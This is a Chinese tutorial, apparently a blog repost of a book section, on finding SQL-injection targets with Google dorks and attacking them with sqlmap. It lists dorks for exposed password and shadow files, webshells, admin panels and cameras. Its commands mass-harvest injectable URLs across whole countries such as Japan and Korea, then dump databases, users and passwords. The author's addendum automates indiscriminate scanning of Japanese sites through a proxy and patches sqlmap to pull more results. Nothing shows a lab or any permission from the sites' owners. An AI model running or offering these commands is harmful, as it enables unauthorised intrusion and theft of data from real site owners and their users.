3.7 sqlmap利用搜索引擎获取目标地址进行注入

简介: 3.7 sqlmap利用搜索引擎获取目标地址进行注入

3.7 sqlmap利用搜索引擎获取目标地址进行注入

3.7.1 Google黑客语法

Google Hacking的含义原指利用Google搜索引擎搜索信息来进行入侵的技术和行为,现指利用各种搜索引擎搜索信息进行入侵的技术和行为

  1. Google基础语法

Google不区分大小写,可以使用通配符"*" ;双引号会强制搜索包含关键字的内容; 布尔操作符AND(+) NOT(-) OR(|) 当然AND现在已经不需要,多个关键字Google都会去匹配

(1) inurl - 搜索包含有特定字符的URL

inurl:admin/manager 可以找到带有admin/manager字符的URL,这类地址都是管理员后台的地址,还有以下一些类似的名称:

admin

admin_index

admin_admin

index_admin

admin/index

admin/default

admin/manage

admin/login

manage_index

index_manage

manager/login

manager/login.asp

login/admin/admin.asp

houtai/admin.asp

guanli/admin.asp

denglu/admin.asp

admin_login/admin.asp

admin_login/login.asp

admin/manage/admin.asp

admin/manage/login.asp

admin/default/login.asp

member/admin.asp

member/login.asp

administrator/admin.asp

administrator/login.asp

(2) intext(allintext) - 搜索网页正文内容中指定的字符

intext(allintext) : 网页内容查找关键字,例如:输入"intext:百度" 这样会查找包含百度关键字的网页

(3) site - 限制显示某个域名的所有页面

site:baidu.com : 仅仅显示baidu.com域名,同时还可以使用"-" 进行排除

(4) filetype - 对目标进行某些文件类型检索

filetype后跟文件类型,目前常见的类型有如下:

doc, xml, rar, docx, inc, mdb, txt, email, xls, sql, inc, conf, txtf, pdf, zip, tar.gz, xlsx等

例如:搜索doc文档,可以直接输入filetype:doc 搜索asp, php, aspx, cfm, jsp 脚本,都可以是类型的格式进行搜索

(5) intitle - 限制搜索的网页标题页面

intitle : 搜索网页标题中包含有特定字符的网页,

allintitle : 搜索所有关键字构成标题的网页

(allintitle:关键字或URL地址)

(6) link - 显示指定网页所有链接的网页

(7) cache - 显示在Google cache中的网页

(8) info - 查找指定站点的一些基本信息

  1. 操作符说明

Google中含有 "+" "-" "~" "." “""” 等操作符

"+" 表示将可能忽略的字列入查询范围

"-" 表示把某个关键字忽略

"~" 表示同义词

"." 表示单一的通配符

"*" 表示通配符,可以代表多个字母

“""” 表示精确查询

  1. Google黑客的一些应用

(1) 搜索敏感信息泄露

intitle:"index of" etc

intitle:"Index of" .sh_history

intitle:"Index of" .bash_history

intitle:"index of" passwd

intitle:"index of" people.lst

intitle:"index of" pwd.db

intitle:"index of" etc/shadow

intitle:"index of" spwd

intitle:"index of" master.passwd

intitle:"index of" htpasswd

intitle:"index of" admin

inurl:services.pwd

intitle:phpmyadmin intext:Create new database //搜索phpmyadmin直接进入后台

intitle:"php shell*""Enable stderr" filetype:php //批量搜索webshell

intitle:index of" data //列出data目录

intitle:"error occurred" ODBC request where (select|insert) // 搜索sql注入出错页面

intitle:index.of filetype:log //搜索日志文件

(2) 查找管理后台

intitle:管理

intitle:登录

intitle:后台

intitle:"后台登录"

(3) 查找警告错误信息

intitle:error

intitle:warning

(4) 查找数据库和配置文件

inurl:editor/db

inurl:eWebEditor/db

inurl:bbs/data/

inurl:databackup/

inurl:blog/data/

inurl:okedata

inurl:bbs/database/

inurl:conn.asp

inurl:inc/conn.asp

inurl:"viewerframe?mode=" //搜索摄像头地址

inurl:db

inurl:mdb

inurl:config.txt

inurl:bash_history

inurl:data filetype:mdb //搜索MDB格式数据库

(5) 搜索备份文件

inurl:temp

inurl:tmp

inurl:backup

inurl:bak

(6) inurl中查找注入点

site:xx.com filetype:asp

site:jp inurl:php?id= // 这个是找日本的

site:kr inurl:jsp?id= // 这个是找韩国的

(7) 目标遍历漏洞

Index of /admin

Index of /passwd

Index of /password

Index of /mail

"Index of /" +passwd

"Index of /" +password.txt

"Index of /" +.htaccess

"Index of / secret"

"Index of /confidential"

"Index of /root"

"Index of /cgi-bin"

"Index of /logs"

"Index of /config"

"Index of /" inurl:lib

3.7.2 Google黑客入侵方法及思路

(1) 获取主域名的所有其他子域名或页面信息

site:somesite.com.kr

(2) 找每个子域名的管理后台

site:pc.somesite.com.kr intitle:管理或者后台或者登录等关键字

site:pc.somesite.com.kr inurl:login 或者inurl:admin可以跟常用的后台路径

site:pc.somesite.com.kr intext:管理或者后台或者登录的关键字

(3) 查找每个子域名脚本文件

site:pc.somesite.com.kr filetype:jsp

site:pc.somesite.com.kr filetype:aspx

site:pc.somesite.com.kr filetype:asp

site:pc.somesite.com.kr filetype:php

(4) 查找上传路径地址

site:pc.somesite.com.kr inurl:file

site:pc.somesite.com.kr inurl:load

(5) 收集E-mail邮箱等敏感信息

(6) 对存在脚本页面及传入的参数进行SQL注入测试

(7) 对收集到的域名进行漏洞扫描

3.7.3 sqlmap 利用搜索引擎进行注入

sqlmap中提供了Google进行批量获取注入的命令参数,通过这个命令参数可以批量获取URL,对目标URL进行注入测试

(1) 参数命令

sqlmap.py -g inurl:asp?id=

sqlmap.py -g inurl:aspx?id=

sqlmap.py -g inurl:php?id=

sqlmap.py -g inurl:jsp?id=

(2) 可以使用--batch进行自动判断和注入

需要注意以下几点:

  • 国内用户无法正常访问Google进行注入测试,测试的是还需要使用代理

  • 在Kali中使用sqlmap的命令是sqlmap -g 不需要加py后缀

(3) 其他命令与sqlmap进行sql注入类似

技巧:在定义inurl:asp?id= 中指定具体的文件名称,改名称越不大众化,越容易出现漏洞

(4) 常见的一些注入点搜索关键字如下:

inurl:item_id=

inurl:review.php?id=

inurlhosting_info.php?id=

inurl:news?id=

inurl:iniziativa.php?in=

inurl:gallery.php?id=

inurl:trainers.php?id=

inurl:curriculum.php?id=

inurl:rub.php?id=

inurl:news-full.php?id=

inurl:labels.php?id=

inurl:view_faq.php?id=

inurl:news_display.php?getid=

inurl:story.php?id=

inurl:artikelinfo.php?id=

inurl:index2.php?option=

inurl:look.php?ID=

inurl:detail.php?ID=

inurl:readnews.php?id=

inurl:newsone.php?id=

inurl:index.php?=

inurl:top10.php?cat=

inurl:aboutbook.php?id=

inurl:profile_view.php?id=

inurl:material.php?id=

inurl:category.php?id=

inurl:event.php?id=

inurl:opinions.php?id=

inurl:publications.php?id=

inurl:product-item.php?id

inurl:announce.php?id=

inurl:fellows.php?id=

inurl:sql.php?id=

inurl:rub.php?idr=

inurl:downloads_info.php?id=

inurl:index.php?catid=

inurl:galeri_info.php?1=

inurl:prod_info.php?id=

inurl:news.php?catid=

inurl:tekst.php?idt=

inurl:shop.php?do=part&id=

inurl:index.php?id=

1nurl:newscat.php?id=

inurl:productinfo.php?id=

inurl:news.php?id=

inurl:newsticker_info.php?idn=

inurl:collectionitem.php?id=

inurl:index.php?id=

inurl:rubrika.php?idr=

inurl:band_info.php?id=

inurl:trainers.php?id=

inurl:rubp.php?idr=

inurl:product.php?id=

inurl:buy.php?category=

inurl:offer.php?idf=

inurl:releases.php?id=

inurl:article.php?ID=

inurl:art.php?idm=

inurl:ray.php?id=

inurl:play_old.php?id=inurl:

title.php?id=

inurl:produit.php?id=

inurl:declaration_more.php?

inurl:news_view.php?id=

inurl:pop.php?id=

inurl:pageid=

inurl:select_biblio.php?id=

inurl:shopping.php?id=

inurl:games.php?id=

inurl:humor.php?id=

inurl:productdetail.php?id=

inurl:page.php?file=

inurl:aboutbook.php?id=

inurl:post.php?id=

inurl:newsDetail.php?id=

inurl:ogl_inet.php?ogl id=

inurl:viewshowdetail.php?id=

inurl:gallery.php?id=

inurl:fiche_spectacle.php?id=

inurl:clubpage.php?id=

inurl:article.php?id=

inurl:communique_detail.php?id=

inurl:memberInfo.php?id=

inurl:show.php?1d=

inurl:sem.php3?id=

inurl:section.php?id=

inurl:staff.php?id=

inurl:kategorie.php4?id=

inurl:theme.php?id=

inurl:newsitem.php?num=

inurl:news.php?id=

inurl:page.php?id=

inurl:readnews.php?id=i

nurl:index.php?id=

inurl:shredder-categories.php?id=

inurl:top10.php?cat=

inurl:faq2.php?id=

inurl:tradeCategory.php?id=

inurl:historialeer.php?num=

inurl:show an.php?id=

inurl:product_ranges_view.php?ID=

inurl:reagir.php?num=

inurl:preview.php?id=

inurl:shop category.php?id=

inurl:Stray-Questions-View.php?num=

inurl:loadpsb.php?id=

inurl:transcript.php?id=

inurl:forum_bds.php?num=

inurl:opinions.php?id=

inurl:channel_id=

inurl:game.php?id=

inurl:spr.php?id=

inurl:aboutbook.php?id=

inurl:view_product.php?id=

inurl:pages.php?id=

inrl:preview.php?id=

inurl:newsone.php?id=

inurl:announce.php?id=

inurl:loadpsb.php?id=

inurl:sw_coment.php?id=

inurl:clanek.php4?id=

inurl:news.php?id=

inurl:pages.php?id=

about.php?cartID=

inurl:participant.php?id=

inurl:avd_start.php?avd=

inurl:download.php?id

accinfo.php?cartID=

inurl:event.php?id=

inur1:main.pnp?id=

add-to-cart.php?ID=

inurl:product-item.php?id=

inurl:review.php?id=

addToCart.php?idProduct=

inurl:sql.php?id=

inur1:chappies.php?id=

addtomylist.php?ProdId=

inurl:material.php?id=

inurl:read.php?id=

inur1:clanek.php4?id=

inurl:prod_detail.php?id=

inurl:announce.php?id=

inurl:viewphoto.php?id=

inurl:chappies.php?id=

inurl:article.php?id=

inurl:read.php?id=

inurl:person.php?id=

inurl:viewapp.php?id=

inurl:productinfo.php?id=

inurl:viewphoto.php?id

inurl:viewphoto.php?id=

inurl:showimg.php?id=

inurl:rub.php?idr=

inurl:view.php?id=

inur1:galeri_info.php?1=

inurl:website.php?id=

3.7.4 实际测试案例

1.寻找可供注入点的目标网站

sqlmap.py -g inurl:details.php?id=

如果sqlmap的第一个URL获取的注入不存在漏洞,则会寻找下一个URL进行注入,同时URL计数加1,可以在参数后面增加--batch进行自动提交判断

sqlmap.py -g inurl:details.php?id= --batch

  1. SQL注入漏洞测试

  2. 基本信息获取

sqlmap支持多个参数并列获取

sqlmap.py -u http://xxx.com/details.php?id=88 --dbs --current-db --current-user --users --passwords

  1. 数据库获取

(1) 获取当前数据库下的所有表名

sqlmap.py -u http://xxx.com/details.php?id=88 -D xxout --tables

(2) 获取当前用户下的所有数据

sqlmap.py -u http://xxx.com/details.php?id=88 --dump-all

总结:

这一节作者输出的大量资料,实战的东西简单提了下,也没自动化的操作,下面我给出一个自动化的操作

sqlmap.py -g "inurl:php?id= site:jp" --proxy "http://192.168.91.1:9988" --threads 5 --batch --answer "extending=N,follow=N,keep=N,exploit=N" --smart

可以在sqlmap的目录文件夹中找到 sqlmap\lib\utils\search.py 第68行 将num=100改成1000

如下部分代码

url = "https://www.google.com/search?"

url += "q=%s&" % urlencode(dork, convall=True)

url += "num=1000&hl=en&complete=0&safe=off&filter=0&btnG=Search"

url += "&start=%d" % ((gpage - 1) * 100)

扫描完成后切到 sqlmap 输出目录 output ,列出文件树状图

tree /F output > bmfx.txt

打开 test.txt 查找存在注入点的网站,搜索关键词 session.sqlite

相关实践学习
基于函数计算快速搭建Hexo博客系统
本场景介绍如何使用阿里云函数计算服务命令行工具快速搭建一个Hexo博客。
相关文章
|
2天前
|
SQL
注入工具 -- sqlmap(自定义检测参数)
注入工具 -- sqlmap(自定义检测参数)
35 0
|
7月前
|
SQL 数据库 Python
某站点存在SQL注入,直接可进行脱库(实战可参考此方法)
某站点存在SQL注入,直接可进行脱库(实战可参考此方法)
|
8月前
|
PHP UED 开发者
代码审计 | URL解析模式
代码审计 | URL解析模式
|
2天前
|
安全 网络安全 数据安全/隐私保护
访问的网站,搜索网址后的前缀有“不安全”的提示,还能访问吗?
访问不安全的HTTP网站可能导致数据泄露、假冒网站、钓鱼攻击、恶意软件感染和内容篡改等风险。浏览器显示“不安全”警告是因为缺少HTTPS加密。应避免在这些网站输入敏感信息,优先选择有HTTPS协议(显示闭合锁标志)的网站,并保持警惕,不点击不明链接或下载未知文件。为保护个人信息安全,建议安装最新安全补丁和反病毒软件,网站所有者应升级到HTTPS以增强用户信任和数据安全。
36 2
访问的网站,搜索网址后的前缀有“不安全”的提示,还能访问吗?
|
2天前
|
SQL
​注入工具 -- sqlmap(获取目标)
​注入工具 -- sqlmap(获取目标)
31 0
|
2天前
|
安全 数据库
注入工具 -- sqlmap(枚举信息)
注入工具 -- sqlmap(枚举信息)
23 0
|
2天前
注入工具 -- sqlmap(指定位置注入和优化性能)
注入工具 -- sqlmap(指定位置注入和优化性能)
30 0
|
8月前
|
SQL 安全
一键启动+AWVS+Sqlmap+BurpSutie+Xray多级代理联合测试
一键启动+AWVS+Sqlmap+BurpSutie+Xray多级代理联合测试
422 0
|
XML SQL 安全
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
185 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
|
XML JSON 安全
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
189 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)